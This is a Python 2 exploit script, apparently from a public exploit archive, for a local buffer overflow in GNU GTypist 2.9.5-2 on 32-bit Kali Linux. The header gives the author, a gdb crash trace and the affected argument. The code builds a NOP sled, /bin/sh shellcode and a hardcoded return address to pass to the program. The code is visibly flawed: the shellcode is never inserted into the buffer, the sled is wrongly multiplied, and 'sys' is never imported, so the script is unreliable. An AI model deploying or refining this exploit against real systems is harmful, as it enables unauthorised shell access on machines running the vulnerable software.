GNU GTypist 2.9.5-2 Buffer Overflow

`# Exploit developed using Exploit Pack v6.5  
# Exploit Author: Juan Sacco - http://www.exploitpack.com -  
# [email protected]  
# Program affected: GNU Typist  
# Affected value: ARG0  
# Version: 2.9.5-2  
#  
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org  
# Program description: Simple ncurses touch typing tutor  
# Displays exercise lines, measures your typing speed and  
# accuracy, and displays the results  
  
# Kali Linux 2.0 package: pool/main/g/gtypist/gtypist_2.9.5-2_i386.deb  
# MD5sum: 7ca59c5c0c494e41735b7be676401357  
# Website: http://www.gnu.org/software/gtypist/  
  
# gdb$ run `python -c 'print "A"*4098'`  
# 0xb7e95def in __strcpy_chk () from /lib/i386-linux-gnu/libc.so.6  
# 0x0804bf30 in ?? ()  
# 0xb7dbb5f7 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6  
# 0x0804c393 in ?? ()  
  
  
import os, subprocess  
  
def run():  
try:  
print "# GNU GTypist - Local Buffer Overflow by Juan Sacco"  
print "# This Exploit has been developed using Exploit Pack -  
http://exploitpack.com"  
# NOPSLED + SHELLCODE + EIP  
  
buffersize = 4098  
nopsled = "\x90"*30  
shellcode =  
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
eip = "\x08\xec\xff\xbf"  
buffer = nopsled * (buffersize-len(shellcode)) + eip  
subprocess.call(["gtypist ",' ', buffer])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Sorry, GNU GTypist - Not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Snap! Something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit GNU GTypist - Local Overflow Exploit"  
print "Author: Juan Sacco - Exploit Pack"  
except IndexError:  
howtousage()  
run()  
`